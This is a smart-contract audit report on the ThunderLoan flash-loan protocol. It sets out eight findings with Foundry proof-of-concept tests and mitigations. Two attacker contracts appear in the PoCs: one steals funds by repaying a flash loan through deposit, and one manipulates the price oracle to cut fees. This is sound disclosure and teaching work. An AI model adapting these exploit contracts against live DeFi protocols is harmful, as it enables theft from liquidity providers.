ThunderLoan Audit Report

Version 1.0

Zkillua.io

Thunderloan Audit Report

Zkillua.io

Feb 6th, 2024

Prepared by: [Zkillua]

Table of Contents

Table of Contents

Protocol Summary

The ThunderLoan protocol is meant to do the following:

Give users a way to create flash loans Give liquidity providers a way to earn money off their capital Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

Disclaimer

The Zkillua team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Scope

- Code Base:https://github.com/Cyfrin/6-thunder-loan-audit/
- Commit Hash: e8ce05f5530ca965165d41547b289604f873fdf6
- In Scope:

```
    #-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Roles:

- Owner: The owner of the protocol who has the power to upgrade the implementation.

- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Issues found

Severity	Number of issues found
High	4
Medium	2
Low	2
Info	0
Gas Optimizations	0
Total	8

Findings

HIGH

[H-1] Using `Thunderloan:deposit` function, instead of repay, all the funds can be stolen from the Protocol.

Description: The flashloan protocol performs a check `endingbalance >= startingbalance +fee` to ensure loaned funds are returned by user, to revert the transaction otheriwse.The endingbalance is calculated using `token.balanceOf(address(assetToken))`. Using this vulnerability attacker can return flashloan using deposit instead of calling repay and since now the balance of assetToken contract is buffed up, it doesn't revert the flashloan.This allows attacker to mint assetTokens which can be redeemed later.

Proof of Concept: Paste the following function and contract in Thunderloan.test.sol

Code

```
1
2 function test_depositOverRepay() public setAllowedToken hasDeposits{
3         uint256 amountToBorrow= 50e18;
4         uint256 fee=thunderLoan.getCalculatedFee(tokenA,amountToBorrow)
              ;
```

```
5           DepositOverRepayAttack dor=new DepositOverRepayAttack(address(
                thunderLoan));
6           vm.startPrank(address(dor));
7           console2.log("Initial balance is ",tokenA.balanceOf(address(dor
                )));
8
9           tokenA.mint(address(dor),fee);
10          thunderLoan.flashloan(address(dor),tokenA,amountToBorrow,"");
11          AssetToken assetToken=thunderLoan.getAssetFromToken(tokenA);
12          uint256 amountOfAssetToken=assetToken.balanceOf(address(dor));
13          thunderLoan.redeem(tokenA,amountOfAssetToken);
14          vm.stopPrank();
15          console2.log("Ending balance is ",tokenA.balanceOf(address(dor)
                ));
16          assert(tokenA.balanceOf(address(dor) )> 50e18);
17
18      }
19
20  contract DepositOverRepayAttack is IFlashLoanReceiver{
21      ThunderLoan thunderLoan;
22
23      constructor(address _thunderloan){
24          thunderLoan=ThunderLoan(_thunderloan);
25      }
26
27      function executeOperation(
28          address token,
29          uint256 amount,
30          uint256 fee,
31          address, //initiator,
32          bytes calldata //params
33      ) external returns(bool)
34      {
35          IERC20(token).approve(address(thunderLoan),amount+fee);
36          thunderLoan.deposit(IERC20(token),amount+fee);
37
38          return true;
39      }
40  }
```

Recommended Mitigation:

Add a check in deposit() to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in flashloan() and checking it in deposit().

[H-2] Storage Collision during upgrade from `Thunderloan` to `ThunderloanUpgraded`

Description: The thunderloanupgrade.sol storage layout is not compatible with the storage layout of thunderloan.sol which will cause storage collision and mismatch of variable to different data.

`Thunderloan.sol` at slot 1,2 and 3 holds `s_feePrecision`, `s_flashLoanFee` and `s_currentlyFlashLoaning`, respectively, but the `ThunderLoanUpgraded.sol` at slot 1 and 2 holds s_flashLoanFee, s_currentlyFlashLoaning respectively. the s_feePrecision from the thunderloan.sol was changed to a constant variable,hence shall no longer be storage layout. Due to this upgrade, `s_flashLoanfee` will now be pointing to `s_feePrecision` which drastically increases the fee.

Impact: 1.Fee is miscalculated for flashloan 2.Users pay same amount of what they borrowed as fee

Proof of Concept: Add the following functions in `Thunderloan.test.sol`

Code

```
import {ThunderLoanUpgraded} from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";

    function upgradeThunderLoan() internal{
        ThunderLoanUpgraded thunderLoanUpgraded =new
            ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(thunderLoanUpgraded),"");
        thunderLoanUpgraded = ThunderLoanUpgraded(address(proxy));

    }
    function test_upgradeBreaks() public {
        uint256 feeBeforeUpgrade=thunderLoan.getFee();
        upgradeThunderLoan();
        uint256 feeAfterUpgrade= thunderLoan.getFee();
        console2.log("fee before upgrade is ",feeBeforeUpgrade);
        console2.log("fee after upgrade is ",feeAfterUpgrade);
        assert(feeBeforeUpgrade < feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect Thunderloan storage` and `forge inspect ThunderloanUpgraded storage`.

Recommended Mitigation: If you must remove a storage variable, leave it as blank as to not mess up storage slots.

```
In ThunderloanUpgraded.sol

-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee; // 0.3% ETH fee
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-3] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

Description: `Thunderloan:deposit` function calls for `assetToken.updateExchangeRate();` which shall update the exchange rate, allowing depositors to withdraw more underlyings than they deposited.

As per Documentation >Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

Exchange rates are supposed to be updated whenever flashloans are taken by users, and not while depositing by liquidity providers.

Impact: 1.This leads to increase exchange rate faster than expected, causing depositors to withdraw more than they deposited.

Recommended Mitigation:

It is recommended not to update Exchange rate on deposit but only during flashloans.

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4          uint256 mintAmount = (amount * assetToken.
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7  -        uint256 calculatedFee = getCalculatedFee(token, amount);
8  -        assetToken.updateExchangeRate(calculatedFee);
9          token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
10     }
```

[H-4] Fee are less for non standard ERC20 Tokens

Description: Within the functions `ThunderLoan::getCalculatedFee()` and `ThunderLoanUpgraded::getCalculatedFee()`, an issue arises with the calculated fee value when dealing with non-standard ERC20 tokens. Specifically, the calculated value for non-standard tokens appears significantly lower compared to that of standard ERC20 tokens.

//ThunderLoan.sol

```
1   function getCalculatedFee(IERC20 token, uint256 amount) public view
        returns (uint256 fee) {
```

```
        //slither-disable-next-line divide-before-multiply
@>        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
@>        //slither-disable-next-line divide-before-multiply
        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
```

```
//ThunderLoanUpgraded.sol

 function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
        //slither-disable-next-line divide-before-multiply
@>        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / FEE_PRECISION;
        //slither-disable-next-line divide-before-multiply
@>        fee = (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION;
    }
```

Impact: Let's say: - user_1 asks a flashloan for 1 ETH. - user_2 asks a flashloan for 2000 USDT.

```
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {

        //1 ETH = 1e18 WEI
        //2000 USDT = 2 * 1e9 WEI

        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;

        // valueOfBorrowedToken ETH = 1e18 * 1e18 / 1e18 WEI
        // valueOfBorrowedToken USDT= 2 * 1e9 * 1e18 / 1e18 WEI

        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;

        //fee ETH = 1e18 * 3e15 / 1e18 = 3e15 WEI = 0,003 ETH
        //fee USDT: 2 * 1e9 * 3e15 / 1e18 = 6e6 WEI = 0,000000000006 ETH
    }
```

The fee for the user_2 are much lower then user_1 despite they asks a flashloan for the same value (hypotesis 1 ETH = 2000 USDT).

Recommended Mitigation: Adjust the precision accordinly with the allowed tokens considering that the non standard ERC20 haven't 18 decimals.

Medium

[M-1] 'ThunderLoan::setAllowedToken' can permanently lock liquidity providers out from redeeming their tokens

Description

If the 'ThunderLoan::setAllowedToken' function is called with the intention of setting an allowed token to false and thus deleting the assetToken to token mapping; nobody would be able to redeem funds of that token in the 'ThunderLoan::redeem' function and thus have them locked away without access.

```
1       function setAllowedToken(IERC20 token, bool allowed) external
            onlyOwner returns (AssetToken) {
2           if (allowed) {
3               if (address(s_tokenToAssetToken[token]) != address(0)) {
4                   revert ThunderLoan__AlreadyAllowed();
5               }
6               string memory name = string.concat("ThunderLoan ",
                    IERC20Metadata(address(token)).name());
7               string memory symbol = string.concat("tl", IERC20Metadata(
                    address(token)).symbol());
8               AssetToken assetToken = new AssetToken(address(this), token
                    , name, symbol);
9               s_tokenToAssetToken[token] = assetToken;
10              emit AllowedTokenSet(token, assetToken, allowed);
11              return assetToken;
12          } else {
13              AssetToken assetToken = s_tokenToAssetToken[token];
14  @>          delete s_tokenToAssetToken[token];
15              emit AllowedTokenSet(token, assetToken, allowed);
16              return assetToken;
17          }
18      }
```

```
1
2       function redeem(
3           IERC20 token,
4           uint256 amountOfAssetToken
5       )
6           external
7           revertIfZero(amountOfAssetToken)
8   @>      revertIfNotAllowedToken(token)
9       {
10          AssetToken assetToken = s_tokenToAssetToken[token];
11          uint256 exchangeRate = assetToken.getExchangeRate();
12          if (amountOfAssetToken == type(uint256).max) {
13              amountOfAssetToken = assetToken.balanceOf(msg.sender);
14          }
15          uint256 amountUnderlying = (amountOfAssetToken * exchangeRate)
```

```
                / assetToken.EXCHANGE_RATE_PRECISION();
16          emit Redeemed(msg.sender, token, amountOfAssetToken,
                amountUnderlying);
17          assetToken.burn(msg.sender, amountOfAssetToken);
18          assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
19      }
```

Impact:

The below test passes with a ThunderLoan__NotAllowedToken error. Proving that a liquidity provider cannot redeem their deposited tokens if the setAllowedToken is set to false, Locking them out of their tokens.

```
1       function testCannotRedeemNonAllowedTokenAfterDepositingToken()
            public {
2           vm.prank(thunderLoan.owner());
3           AssetToken assetToken = thunderLoan.setAllowedToken(tokenA,
                true);
4
5           tokenA.mint(liquidityProvider, AMOUNT);
6           vm.startPrank(liquidityProvider);
7           tokenA.approve(address(thunderLoan), AMOUNT);
8           thunderLoan.deposit(tokenA, AMOUNT);
9           vm.stopPrank();
10
11          vm.prank(thunderLoan.owner());
12          thunderLoan.setAllowedToken(tokenA, false);
13
14          vm.expectRevert(abi.encodeWithSelector(ThunderLoan.
                ThunderLoan__NotAllowedToken.selector, address(tokenA)));
15          vm.startPrank(liquidityProvider);
16          thunderLoan.redeem(tokenA, AMOUNT_LESS);
17          vm.stopPrank();
18      }
```

Recommended Mitigation:

It would be suggested to add a check if that assetToken holds any balance of the ERC20, if so, then you cannot remove the mapping.

```
1       function setAllowedToken(IERC20 token, bool allowed) external
            onlyOwner returns (AssetToken) {
2           if (allowed) {
3               if (address(s_tokenToAssetToken[token]) != address(0)) {
4                   revert ThunderLoan__AlreadyAllowed();
5               }
6               string memory name = string.concat("ThunderLoan ",
                    IERC20Metadata(address(token)).name());
7               string memory symbol = string.concat("tl", IERC20Metadata(
                    address(token)).symbol());
```

```
8               AssetToken assetToken = new AssetToken(address(this), token
                    , name, symbol);
9               s_tokenToAssetToken[token] = assetToken;
10              emit AllowedTokenSet(token, assetToken, allowed);
11              return assetToken;
12          } else {
13              AssetToken assetToken = s_tokenToAssetToken[token];
14  +           uint256 hasTokenBalance = IERC20(token).balanceOf(address(
        assetToken));
15  +           if (hasTokenBalance == 0) {
16                  delete s_tokenToAssetToken[token];
17                  emit AllowedTokenSet(token, assetToken, allowed);
18  +           }
19              return assetToken;
20          }
21      }
```

[M-2] Attacker can minimize ThunderLoan::flashloan fee via price oracle manipulation

Description: In `ThunderLoan::flashloan` the price of the fee is calculated on using the method `ThunderLoan::getCalculatedFee` which uses the function `OracleUpgradeable::getPriceInWeth` to calculate the price of a single underlying token in WETH. Internally this calls `TSwapPool::getPriceOfOnePoolTokenInWeth`, which can subject to Price Oracle Manipulation attack.

This means that an attacking contract can perform an attack by:

1.Calling flashloan() with a sufficiently small value for amount 2.Reenter the contract and perform the price oracle manipulation by sending liquidity to the pool during the executionOperation callback 3.Re-calling flashloan() this time with a large value for amount but now the fee will be minimal, regardless of the size of the loan. 4.Returning the second and the first loans and withdrawing their liquidity from the pool ensuring that they only paid two, small 'fees for an arbitrarily large loan.

Impact: An attacker can reenter the contract and take a reduced-fee flash loan.

Proof of Concept:

Add following `MaliciousFlashLoanReceiver` contract and test function `test_OracleManipulation` to `ThunderLoan.test.sol`;

Code

```
1  import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
       ;
2  import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/
       ERC1967Proxy.sol";
3  import { BuffMockTSwap } from "../mocks/BuffMockTSwap.sol";
```

```
4  import {BuffMockPoolFactory} from "../mocks/BuffMockPoolFactory.sol";
5  .
6  .
7  .
8      function test_OracleManipulation() public {
9
10         // 1.setup contracts
11         // 2. fund tswap
12         // 3.fund flashloan
13         // 4.take 2 flashloans:
14         //     1.use first loan to deposit into tswap and manipulate
               ratios
15         //     2.use second to exchange on tswap and repay loans,
               benefit from manipulated ratios.
16
17         thunderLoan=new ThunderLoan();
18         tokenA=new ERC20Mock();
19         proxy = new ERC1967Proxy(address(thunderLoan), "");
20         BuffMockPoolFactory pf= new BuffMockPoolFactory(address(weth));
21         address tswapPool=pf.createPool(address(tokenA));
22         thunderLoan=ThunderLoan(address(proxy));
23         thunderLoan.initialize(address(pf));
24
25         vm.startPrank(liquidityProvider);
26         tokenA.mint(liquidityProvider,100e18);
27         tokenA.approve(address(tswapPool),100e18);
28         weth.mint(liquidityProvider,100e18);
29         weth.approve(tswapPool,100e18);
30
31         BuffMockTSwap(tswapPool).deposit(100e18,100e18,100e18,block.
               timestamp);
32         vm.stopPrank();
33
34         vm.prank(thunderLoan.owner());
35         thunderLoan.setAllowedToken(tokenA,true);
36
37         vm.startPrank(liquidityProvider);
38         tokenA.mint(liquidityProvider,1000e18);
39         tokenA.approve(address(thunderLoan),1000e18);
40         thunderLoan.deposit(tokenA,1000e18);
41         vm.stopPrank();
42
43         uint256 normalFee=thunderLoan.getCalculatedFee(tokenA,100e18);
44         console2.log("normal fee is ",normalFee);
45
46         uint256 amountToBorrow=50e18;
47         MaliciousFlashLoanReceiver flr=new MaliciousFlashLoanReceiver(
               address(tswapPool),address(thunderLoan),address(thunderLoan.
               getAssetFromToken(tokenA)));
48
49         vm.startPrank(user);
```

```
50          tokenA.mint(address(flr),100e18);
51          thunderLoan.flashloan(address(flr),tokenA,amountToBorrow,"");
52          vm.stopPrank();
53
54          uint256 attackFee=flr.feeOne()+flr.feeTwo();
55          console2.log("attack fee ",attackFee);
56          assert(attackFee<normalFee);
57          }
58
59
60  contract MaliciousFlashLoanReceiver is IFlashLoanReceiver{
61      //swap tokenA for weth
62      //take another flashloan
63
64      ThunderLoan thunderLoan;
65      BuffMockTSwap tswapPool;
66      address repayAddress;
67      bool attacked;
68      uint256 public feeOne;
69      uint256 public feeTwo;
70
71      constructor(address _tswapPool,address _thunderLoan,address
            _repayAddress){
72          tswapPool=BuffMockTSwap(_tswapPool);
73          thunderLoan=ThunderLoan(_thunderLoan);
74          repayAddress=_repayAddress;
75
76      }
77
78      function executeOperation(
79          address token,
80          uint256 amount,
81          uint256 fee,
82          address, //initiator,
83          bytes calldata // params
84      )
85          external
86          returns (bool){
87
88              if(!attacked){
89                  feeOne=fee;
90                  attacked=true;
91                  //swap
92                  uint256 wethBought=tswapPool.
                        getOutputAmountBasedOnInput(50e18,100e18,100e18);
93                  IERC20(token).approve(address(tswapPool),50e18);
94                  tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50
                        e18,wethBought,block.timestamp);
95
96                  //secondflashloan
97                  thunderLoan.flashloan(address(this),IERC20(token),50e18
```

```
                    ,"");
98                  //repay
99                 // IERC20(token).approve(address(thunderLoan),amount+fee
                       );
100                 //thunderLoan.repay(IERC20(token),amount+fee);
101                 IERC20(token).transfer(repayAddress,amount+fee);
102
103             }else{
104                 feeTwo=fee;
105                 //IERC20(token).approve(address(thunderLoan),amount+fee
                       );
106                 //thunderLoan.repay(IERC20(token),amount+fee);
107                 IERC20(token).transfer(repayAddress,amount+fee);
108             }
109         return true;
110         }
111 }
```

Recommended Mitigation: 1.Use a manipulation-resistant oracle such as Chainlink.

Low

[L-1] getCalculatedFee can be 0

Description: Any value up to 333 for “amount” can result in 0 fee based on calculation

Impact: Impact is Low as this amount is really small.

Proof of Concept: Add the following test in `Thunderloan.test.sol`

Code

```
1
2     function testFuzzGetCalculatedFee() public {
3         AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
4
5         uint256 calculatedFee = thunderLoan.getCalculatedFee(
6             tokenA,
7             333
8         );
9
10        assertEq(calculatedFee ,0);
11
12        console.log(calculatedFee);
13    }
```

Recommended Mitigation: A minimum fee can be used to offset the calculation, though it is not that important.

[L-2] updateFlashLoanFee() missing event

Description: `ThunderLoan::updateFlashLoanFee()` and `ThunderLoanUpgraded::updateFlashLoanFee()` does not emit an event, so it is difficult to track changes in the value s_flashLoanFee off-chain.

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > FEE_PRECISION) {
            revert ThunderLoan__BadNewFee();
        }
@>        s_flashLoanFee = newFee;
    }
```

Impact: Events are essential for various reasons. When an event is emitted, it gets logged in the transaction receipt, and these logs can be monitored and reacted to by off-chain services or user interfaces.

Recommended Mitigation:

```
+ event FeeUpdated(uint256 indexed newFee);

  function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+        emit FeeUpdated(s_flashLoanFee);
    }
```